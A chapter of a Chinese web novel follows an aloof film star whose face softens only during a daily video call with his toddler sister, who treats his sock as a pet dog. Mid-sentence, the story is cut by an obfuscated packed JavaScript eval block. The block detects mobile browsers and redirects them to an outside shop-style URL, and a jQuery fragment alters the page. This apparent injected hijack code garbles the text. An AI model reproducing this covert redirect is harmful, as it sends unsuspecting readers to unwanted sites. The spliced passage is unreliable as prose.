六月的阳光毒辣得像后妈的手掌，一巴掌一巴掌扇在录制大厅的玻璃幕墙上。
姜牧野坐在化妆间里，任由化妆师在他脸上涂涂抹抹。镜子里的男人五官深邃，眉骨高挺，薄唇微抿，天生一副生人勿近的模样。
“牧野，今天的杂志拍摄大概需要三个小时，之后还有一个品牌方的视频会议……”经纪人在旁边絮絮叨叨地念行程表。
姜牧野面无表情地“嗯”了一声。
化妆师小心翼翼地给他画眉，手都有点抖。这位新晋影帝的气场实在太过强大，明明才二十三岁，坐在那里却像个判官，让人不自觉想把自己干过的坏事全交代了。
“下午三点之后的时间空出来。”姜牧野忽然开口。
经纪人愣了一下：“啊？可是下午还有一个——”
“空出来。”
经纪人咽了咽口水：“好、好的。”
他不敢问为什么。姜牧野出道五年，从十八岁那部处女作一炮而红，到去年拿下金鹤奖最佳男主角，靠的不仅仅是演技，还有这副谁欠他三百万的表情。经纪公司给他的人设是“高冷禁欲系男神”，这个定位精准得像手术刀——因为他确实够冷。
没人知道的是，这位行走的冰山，每天下午四点必须准时出现在手机前，接一通视频电话。
化妆师退后一步，满意地看了看自己的作品：“姜老师，好了。”
姜牧野站起来，一米八七的身高让化妆间瞬间显得逼仄。他低头看了眼手表——下午三点五十八分。
他面不改色地拿起手机，迈开长腿走向休息室。
经纪人在后面追：“牧野，杂志那边——”
“两分钟。”
经纪人：“……”
什么两分钟？
姜牧野推开休息室的门，反手锁上，靠在门板上，以迅雷不及掩耳之势拨出了视频通话。
嘟——嘟——嘟——
第三声响起的瞬间，屏幕亮了。
一张圆滚滚的小脸占据了整个屏幕。
“哥哥！！！”
小女孩的声音清脆得像把弹珠洒在玻璃上，带着一种不管不顾的兴奋劲儿，差点把姜牧野的耳朵震聋。
姜牧野下意识把手机拿远了一点，但嘴角已经不受控制地微微上扬——幅度很小，大概只有零点五毫米，但对于一张常年零下二十度的脸来说，这已经是春天了。
“姜牧云。”他叫她的全名，声音却比刚才跟经纪人说话时低了八度，软了两个调，“今天乖不乖？”
屏幕里的小姑娘扎着两个冲天小揪揪，头发又细又软，像两朵蒲公英顶在脑袋上。脸蛋圆得像是用圆规画出来的，白里透粉，鼻头小小一点，嘴巴也小小一点，唯独一双眼睛又圆又大，黑白分明，像两颗水洗过的葡萄，亮晶晶地映着光。
她穿着一件印满小草莓的连衣裙，正盘腿坐在沙发上，怀里抱着一只耳朵都被揪歪了的兔子玩偶。
“哥哥，我今天超级乖！”姜牧云一本正经地说，小短手比了个“超级”的手势，手指头短短的，像五颗糯米团子，“我吃了胡萝卜！一整根！”
姜牧野挑眉：“你确定？”
“……”姜牧云的葡萄眼心虚地转了转，“就是……可能……有一点点掉在地上了。”
“掉在地上的你捡起来吃了？”
“才没有！”小姑娘义正言辞，“掉在地上的给狗狗吃了！”
姜牧野：“……家里没有狗。”
“有的！”姜牧云理直气壮，“我新养的！叫土豆！你看！”
她把手机镜头翻转，对准了客厅地板上一只——
一只毛线袜子。
被揉成一团的、灰色的、毛线袜子。
姜牧野沉默了。
“土豆今天很乖！”姜牧云的声音从镜头后面传来，充满了慈爱，“它吃了一整根胡萝卜！比我吃的还多！”
“姜牧云，”姜牧野深吸一口气，“那不是狗，那是我的袜子。”
“是土豆！”
“……”
“哥哥你不爱土豆吗？土豆好可怜的，它都没有妈妈。”
姜牧野的太阳穴突突跳了两下。他抬手揉了揉眉心，忍住了想叹气的冲动。三秒后，他面无表情地说：“土豆是公的还是母的？”
“公的！”
“那它不需要妈妈。”
“可是它需要爸爸呀！”
“……”
“哥哥你可以当土豆的爸爸吗？”
“不行。”
“为什么呀？”
“因为它是我的袜子。”
“可是它——”
“姜牧云。”姜牧野的声音忽然沉下来。
屏幕那边安静了一秒。小姑娘把手机翻回来，葡萄眼小心翼翼地瞅着屏幕里的哥哥，小嘴巴微微抿着，像知道自己可能要挨骂了。
姜牧野看着她那张小脸，沉默了两秒。
“……下不为例。”
小姑娘的眼睛“唰”地亮了，像是有人在里面点了一盏灯。她“啪”地把手机贴在脸上，整张屏幕都是她肉乎乎的脸颊：“哥哥最好了！哥哥是世界上最好的哥哥！比冰淇淋还好！”
姜牧野的嘴角终于没忍住，弯了一下。
只是一下。
但足够了。
“阿姨呢？”他问。
“阿姨去买菜了！”姜牧云晃着两个小揪揪，“家里只有我和土豆！土豆好乖的，它都没有乱跑！”
姜牧野看了眼屏幕上那只毛线袜子的位置——明明刚才还在茶几旁边，现在已经跑到了电视柜下面。
“它动了。”姜牧野说。
“没有！”姜牧云头摇得像拨浪鼓，“土豆在睡觉！睡觉不会动的！”
“刚才它在茶几旁边，现在在电视柜下面。”
“那是因为……因为……”小姑娘的脑子飞速运转，小眉毛皱成一团，显然在编一个能圆过去的理由，“因为土豆会瞬移！”
“……”
“哥哥你不相信土豆会瞬移吗？”
“你觉得我应该相信吗？”
“可是哥哥你上次说圣诞老人会从烟囱爬进来给我送礼物的！圣诞老人也会瞬移！你为什么相信圣诞老人不相信土豆！”
姜牧野：“……”
他忽然觉得，三岁半的人类幼崽，可能是地球上逻辑最严密的生物——只不过他们的逻辑起点和正常人不太一样。
“好，”他妥协了，“土豆会瞬移。”
“耶！”姜牧云欢呼了一声，然后把手机翻过去对着地板，“土豆你听到了吗！哥哥相信你了！你开心吗！”
毛线袜子纹丝不动。
“它好开心！”姜牧云替他翻译，“它说谢谢哥哥！”
姜牧野决定终止这个话题：“阿姨几点回来？”
“唔……阿姨说很快很快！就是……”她歪着头想了想，“就是哥哥的很快和阿姨的很快不一样。哥哥的很快是两分钟，阿姨的很快是好多个两分钟。”
姜牧野看了眼时间——已经通话七分钟了。
“哥哥要工作了对不对？”姜牧云忽然问，语气里没有撒娇，也没有不舍，就是很平常地问了一句。
姜牧野顿了顿：“……嗯。”
“那哥哥去吧！”小姑娘冲他挥了挥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437528|200985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手，小手在屏幕里只剩下一团肉色的虚影，“姜牧云会乖乖的！土豆也会乖乖的！”
“……嗯。”
“哥哥拜拜！明天见！”
“明天见。”
姜牧野没有立刻挂断。他看着屏幕里的小姑娘抱着兔子玩偶，从沙发上滑下来，小短腿悬在半空晃了晃才踩到地板，然后踉跄了一下，又稳稳站住。她跑到茶几旁边，蹲下来，对着那只毛线袜子嘀嘀咕咕地说着什么，声音太小了，听不清楚，但能看到她的小嘴巴一张一合，表情认真得像在发表重要演讲。
然后她忽然抬起头，对着手机的方向喊了一句：“哥哥你怎么还没挂呀！”
姜牧野的手指顿了一下。
“……马上挂。”
“哥哥你是不是舍不得姜牧云呀？”
“不是。”
“骗人！”小姑娘笑得眼睛弯成两道月牙，“哥哥你的耳朵红了！我看见啦！”
姜牧野面无表情地按下了挂断键。
屏幕暗下来的那一刻，休息室里安静得能听见空调运转的嗡嗡声。他靠在门板上，低头看着黑掉的屏幕，沉默了很久。
然后他抬手摸了摸自己的耳朵。
确实有点烫。
他面无表情地想：这个破手机，色差也太严重了。
经纪人敲门进来的时候，姜牧野已经恢复了那副生人勿近的表情，坐在沙发上翻杂志，好像刚才什么都没有发生过。
“牧野，杂志那边催了——”
“走。”
经纪人跟在后面，总觉得哪里不对。他偷偷打量了姜牧野一眼——还是那张冷脸，还是那股生人勿近的气场。但他总觉得，影帝大人的耳垂，好像比刚才红了一点点。
大概是被太阳晒的吧。
下午的杂志拍摄主题是“冷峻绅士”，姜牧野换了一套黑色西装，头发被往后梳起，露出饱满的额头和凌厉的眉骨。摄影师兴奋得不行，快门按得噼里啪啦响。
“姜老师，表情再冷一点！”
姜牧野微微侧头，眼神淡漠地看着镜头。
“对对对！就是这个！杀手的眼神！”
“再冷一点！生无可恋的感觉！”
姜牧野想到刚才姜牧云说“哥哥你是不是舍不得我”时那张得意洋洋的小脸。
他的表情终于冷了。
是真冷。
摄影师激动得差点把相机摔了：“完美！！！”
拍摄结束后，姜牧野坐在休息区喝水，手机屏幕亮了一下。是家里的阿姨发来的一条微信消息，附带一张照片。
阿姨：云云说要给哥哥看她的新作品。
照片里，姜牧云坐在地板上，周围摊着一堆五颜六色的彩笔。她举着一张画纸，上面画了一团乱七八糟的线条，勉强能看出是个人形——头特别大，身体特别小，两条腿像两根火柴棍。
画的旁边歪歪扭扭地写了几个字，与其说是字，不如说是蚯蚓在纸上打过滚：
“哥哥我愛你”
“哥”字少了一个横，“愛”字的心写得特别大，几乎占了半个字的位置。
姜牧野盯着那张照片看了整整一分钟。
然后他长按图片，点了保存。
经纪人路过的时候瞄了一眼他的手机屏幕，差点以为自己产生了幻觉——
那个号称“娱乐圈行走的冰山”的男人，正对着手机屏幕，嘴角上扬了至少三毫米。
三毫米。
这在姜牧野的脸上，已经算放声大笑了。
经纪人默默地在心里把明天的行程表上加了一行备注：
下午四点，不许安排任何工作。